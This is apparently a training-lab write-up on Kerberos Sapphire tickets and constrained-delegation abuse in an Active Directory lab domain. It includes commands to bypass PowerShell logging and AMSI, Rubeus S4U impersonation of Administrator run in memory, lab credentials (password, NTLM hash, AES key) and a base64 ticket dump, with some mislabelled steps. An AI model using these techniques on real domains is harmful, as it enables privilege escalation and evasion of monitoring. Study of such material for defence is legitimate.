Sapphire ticket abuse in Active Directory is a stealthy technique used for privilege escalation and persistence by leveraging legitimate Kerberos tickets. It is similar to Diamond tickets in that it does not rely on forging a ticket from scratch but instead manipulates a valid service ticket. The key difference lies in how the Privilege Attribute Certificate (PAC) is modified. While Diamond tickets directly alter the PAC to insert arbitrary group memberships, Sapphire tickets take a more sophisticated approach by replacing the PAC with that of a powerful user.

This is achieved through an S4U2self and U2U (user-to-user) attack chain. The attacker first requests a service ticket on behalf of a target user through the S4U2self mechanism. Then, instead of using the PAC included in the originally issued ticket, they replace it with the PAC of a privileged user. This means that the ticket now carries all legitimate attributes, making detection much harder. Because the PAC originates from an actual high-privilege account, Active Directory will not flag any inconsistencies between the ticket's privileges and the account it represents.

Comparing Sapphire tickets to other well-known Kerberos abuses, Golden tickets are entirely forged Ticket Granting Tickets (TGTs) that allow attackers to authenticate as any user within the domain. They require the KRBTGT hash, making them powerful but also relatively easy to detect due to anomalies in ticket issuance patterns and unusually long lifetimes. Silver tickets, on the other hand, are forged service tickets that allow access to specific services without requiring interaction with a domain controller. While they leave fewer logs than Golden tickets, they are still detectable if proper monitoring is in place.

Diamond tickets, which are closer to Sapphire tickets, take an issued service ticket and modify its PAC to include arbitrary group memberships. This means that detection mechanisms that cross-check a PAC’s information with Active Directory data can identify inconsistencies. Sapphire tickets avoid this issue entirely by ensuring that the PAC remains authentic and untouched, making them the stealthiest among the variants.

Comparing this with Skeleton Key attacks, which involve injecting a backdoor master key into the LSASS process to allow authentication for any user, Sapphire tickets have a different approach. Skeleton Key attacks require direct modification of LSASS on a domain controller, making them a high-risk, noisy attack that can be detected with memory analysis and behavioral monitoring. In contrast, Sapphire tickets operate within the bounds of Kerberos and leverage legitimate ticket requests, making them far more difficult to trace.

Among all these techniques, Sapphire tickets stand out as the most difficult to detect. Their ability to use a completely legitimate PAC from a privileged account eliminates common detection strategies based on PAC validation. This makes them a powerful alternative to traditional ticket forgeries, providing a stealthy way to escalate privileges without leaving the telltale signs associated with Golden, Silver, or Diamond ticket attacks.

Enumerating Constrained Delegation with ADModule

Let’s start our Unconstrained Delegation with ADModule by executing InvisiShell to bypass PowerShell security features like system-wide transcription, Script Block Logging, AMSI and Constrained Language Mode(CLM).

RunWithRegistryNonAdmin.bat

After bypassing Powershell Security Features we can now import ADModule.

Import-Module Import-Module C:\AD\Tools\ADModule-master\Microsoft.ActiveDirectory.Management.dll

Import-Module C:\AD\Tools\ADModule-master\ActiveDirectory\ActiveDirectory.psd1

Now that we have imported our ADModule, we can use GetADObject to Enumerate Constrained Delegation in our target domain.

We're querying Active Directory (AD) for objects where msDS-AllowedToDelegateTo is not null. This attribute defines which services a user or computer account is allowed to delegate authentication to.

Our output shows two objects that have constrained delegation configured.

First Object

• DistinguishedName: CN=appsvc,CN=Users,DC=techcorp,DC=local: This tells us that "appsvc" is a user account under CN=Users.

• msDS-AllowedToDelegateTo: {CIFS/us-mssql.us.techcorp.local, CIFS/us-mssql}: The appsvc account can delegate authentication to the CIFS service on the us-mssql server.

• ObjectClass: user: Confirms that appsvc is a user account.

What This Means for Us: If we can compromise "appsvc", we might be able to impersonate users to the CIFS service on us-mssql.

Second Object

• DistinguishedName: CN=US-MGMT,OU=Mgmt,DC=techcorp,DC=local : This tells us that "US-MGMT" is a computer account under OU=Mgmt.

• msDS-AllowedToDelegateTo: {CIFS/US-MSSQL.us.techcorp.local, CIFS/US-MSSQL}: The US-MGMT machine is allowed to delegate authentication to the CIFS service on US-MSSQL.

• ObjectClass: computer: Confirms that US-MGMT is a computer object.

What This Means for Us: If we can control "US-MGMT", we might be able to impersonate users to the CIFS service on US-MSSQL.

Since we’ve already compromised the appsvc user account, we can leverage it to impersonate any user inside the us-mssql server. While CIFS is the delegated service, we can request a service ticket for HTTP instead, allowing us to access WinRM as an alternative.

For OpSec, we'll use Rubeus.exe to request a ticket in memory and impersonate Administrator on us-mssql, but instead of using NTLM hashes, we'll use the AES256 key. This helps us stay under the radar and evade most defense mechanisms in place.

User: appsvc

Clear-Text_PWD: Us$rT0AccessDBwithImpersonation

NTLM_Hash: 1d49d390ac01d568f0ee9be82bb74d4c

AES256: b4cb0430da8176ec6eae2002dfa86a8c6742e5a88448f1c2d6afc3781e114335

Let’s start by encoding our Rubeus.exe argument (s4u) using ArgSplit.bat file and do the copy/paste into the session were we will be executing Rubeus.exe.

ArgSplit.bat

Let’s now run Rubeus.exe in the memory using Loader.exe.

C:\AD\Tools\Loader.exe -Path C:\AD\Tools\Rubeus.exe -args "%Pwn%" /user:appsvc /aes256:b4cb0430da8176ec6eae2002dfa86a8c6742e5a88448f1c2d6afc3781e114335 /impersonateuser:administrator /msdsspn:CIFS/us-mssql.us.techcorp.local /domain:us.techcorp.local /ptt

Step 3: Obtain a Privileged PAC using U2U

The next step is to perform a User-to-User (U2U) authentication trick, where we inject a privileged PAC into the ticket.

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